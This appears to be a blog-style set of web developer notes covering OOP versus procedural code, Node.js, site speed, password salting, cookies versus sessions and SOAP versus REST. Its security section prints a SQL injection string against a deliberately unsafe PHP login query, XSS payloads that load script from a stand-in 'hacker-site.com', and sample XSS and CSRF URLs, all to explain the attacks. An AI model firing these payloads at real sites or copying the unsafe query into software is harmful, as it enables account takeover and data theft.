Object Oriented Programming vs Procedural

Difference Between Procedure Oriented Programming (POP) & Object Oriented Programming (OOP)

Procedure Oriented Programming
In POP, program is divided into small parts called functions.
In POP,Importance is not given to data but to functions as well as sequence of actions to be done.
POP follows Top Down approach.
POP does not have any access specifier.
In POP, Data can move freely from function to function in the system.
In POP, Most function uses Global data for sharing that can be accessed freely from function to function in the system.
POP does not have any proper way for hiding data so it is less secure.

Object Oriented Programming

In OOP, program is divided into parts called objects.
In OOP, Importance is given to the data rather than procedures or functions because it works as a real world.
OOP follows Bottom Up approach.
OOP has access specifiers named Public, Private, Protected, etc.
In OOP, data can not move easily from function to function,it can be kept public or private so we can control the access of data.
OOP provides Data Hiding so provides more security.

Why should I use node.js?


  • real-time websites with push capability
  • unifies the language and data format (JSON) across the stack
  • web applications with real-time, two-way connections, where both the client and server can initiate communication, allowing them to exchange data freely
  • non-blocking, event-driven I/O to remain lightweight and efficient in the face of data-intensive real-time applications that run across distributed devices.
  • You definitely don’t want to use Node.js for CPU-intensive operations
  • Node.js operates on a single-thread, using non-blocking I/O calls, allowing it to support support tens of thousands of concurrent connections
  • Although Node.js really shines with real-time applications, it’s quite a natural fit for exposing the data from object DBs (e.g. MongoDB). JSON stored data allow Node.js to function without the impedance mismatch and data conversion
  • Typical examples include: the logging or writing of user-tracking data, processed in batches and not used until a later time; as well as operations that don’t need to be reflected instantly (like updating a ‘Likes’ count on Facebook) where eventual consistency (so often used in NoSQL world) is acceptable.

Cross Site Scripting (XSS), CSRF and SQL Injection

SQL Injection:
It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.

In essence, SQL Injection arises because the fields available for user input allow SQL statements to pass through and query the database directly.


	      // We didn't check $_POST['password'], it could be anything the user wanted! For example:
	      $_POST['username'] = 'aidan';
	      $_POST['password'] = "' OR ''='";

	      // Query database to check if there are any matching users
	      $query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";

	      // This means the query sent to MySQL would be:
	      echo $query;

The query sent to MySQL will be:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

Cross Site Scripting:

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim. Always validate user input to avoid cross site scripting.

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.


SCRIPT SRC=https://hacker-site.com/xss.js
BODY BACK GROUND="javascript:alert('XSS')
IMG S R C="javascript:alert('XSS');
IFRAME S R C=”https://hacker-site.com/xss.html

Simplified View:
XSS is when the user trusts the server too much, CSRF is when the server trusts the user too much

Take these two URL examples that an attacker might send to a victim, the XSS example would abuse a vulnerability on the page and inject javascript into the page and cause the user’s browser to execute the malicious code, the CSRF example causes the server to except malicious input from the user and process it as if the user intended to submit password change:

XSS: http://example.com?variable=a'< script >alert(1)
CSRF: http://example.com/changePassword?userID=1&newPassword=foobar

In simple terms XSS is when you can execute arbitrary Javascript in the victim’s browser typically because input wasn’t sanitised correctly. From there you can do whatever Javascript can, send their cookies to a malicious person, rewrite the DOM to make it seem like the page has been vandalised, redirect them to a malicious page / phishing website, etc.
CSRF is when you trick a user into performing actions with the authority the browser believes they have. Let’s say to change a password you need to submit a form along with being logged in under your account. The server would check you’re logged in via a session token. If I can get this user (‘the victim’) to click on a link which tells the browser to submit the form, the browser will submit it, along with the victim’s logged in session ID (which is always sent when visiting the site). Because as far as the website is concerned the user is logged it and submitting the form it will quite happily complete the action and change the password. An attacker could now log in with the (known) password themselves.

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Tips to make your website run faster


  • Minimize HTTP Requests
  • Images : CSS Sprites are the preferred method for reducing the number of image requests. Combine your background images into a single image and use the CSS background-image and background-position properties to display the desired image segment.
  • Use a Content Delivery Network
  • Add an Expires or a Cache-Control Header
  • Gzip Components
  • Put Stylesheets at the Top
  • Put Scripts at the Bottom : The problem caused by scripts is that they block parallel downloads.
  • Make JavaScript and CSS External: Using external files in the real world generally produces faster pages because the JavaScript and CSS files are cached by the browser.
  • Split Components Across Domains : The HTTP/1.1 specification suggests that browsers download no more than two components in parallel per hostname. If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel.
  • Reduce DNS Lookups : DNS lookups take time. Reducing the number of unique hostnames has the potential to reduce the amount of parallel downloading that takes place in the page. Avoiding DNS lookups cuts response times, but reducing parallel downloads may increase response times.
  • Minify JavaScript and CSS
  • Remove Duplicate Scripts : Due to large number of developers and size of project its possible a script etc may get loaded multiple times.
  • Don’t Scale Images in HTML
  • Avoid Empty Image src
  • Use Profiling tools to identify which parts of your code are consuming more time and more memory
  • Fetch Data in Parallel : (multi curl for PHP, node.js, etc)
  • Use EXPLAIN statement to analyze your SQL queries. Based on that add proper indexes
  • Prepared statements in SQL need to be parsed just once
  • Use Opcode Cache which will save the server from parsing your php again
  • Use Memcache DB for storing frequent calls to the database
  • Use MySQL Master Slave for faster read access
  • See if schema needs to be split vertically or horizontally for faster access

Salted Password Hashing – Doing it Right


Salting inherently makes your user’s passwords better automatically by prepending or appending a random string. So lookup tables become useless.
But if the password hash and salt table is compromised then salt will not help (as in LinkedIn case). LinkedIn should have been using bcrypt, which is an adaptive hash that would have slowed the brute force time down to the order of 10s of hashes per second.

Cookie vs Sessions

Both cookies and sessions are available to you as a PHP developer, and both accomplish much the same task of storing data across pages on your site. However, there are differences between the two that will make each favourable in their own circumstance.

Cookies can be set to a long lifespan, which means that data stored in a cookie can be stored for months if not years. Cookies, having their data stored on the client, work smoothly when you have a cluster of web servers, whereas sessions are stored on the server, meaning in one of your web servers handles the first request, the other web servers in your cluster will not have the stored information.

Sessions are stored on the server, which means clients do not have access to the information you store about them – this is particularly important if you store shopping baskets or other information you do not want you visitors to be able to edit by hand by hacking their cookies. Session data, being stored on your server, does not need to be transmitted with each page; clients just need to send an ID and the data is loaded from the local file. Finally, sessions can be any size you want because they are held on your server, whereas many web browsers have a limit on how big cookies can be to stop rogue web sites chewing up gigabytes of data with meaningless cookie information.

So, as you can see, each have their own advantages, but at the end of the day it usually comes down one choice: do you want your data to work when you visitor comes back the next day? If so, then your only choice is cookies – if you have any particularly sensitive information, your best bet is to store it in a database, then use the cookie to store an ID number to reference the data. If you do not need semi-permanent data, then sessions are generally preferred, as they are a little easier to use, do not require their data to be sent in entirety with each page, and are also cleaned up as soon as your visitor closes their web browser.




– Transport Independant (REST requires HTTP. SOAP can work on HTTP, SMTP, etc)
– Built in Error Handling
– Only XML
– Provides good ACID Transactions.
– Exposes pieces of application logic , Exposes operations
– Enterprise level security since it supports WS-Security
– Suitable for banking applications

– Easier Learning Curve
– Efficient and Fast : Smaller message format
– Can use XML, JSON, etc
– REST gives access to named resources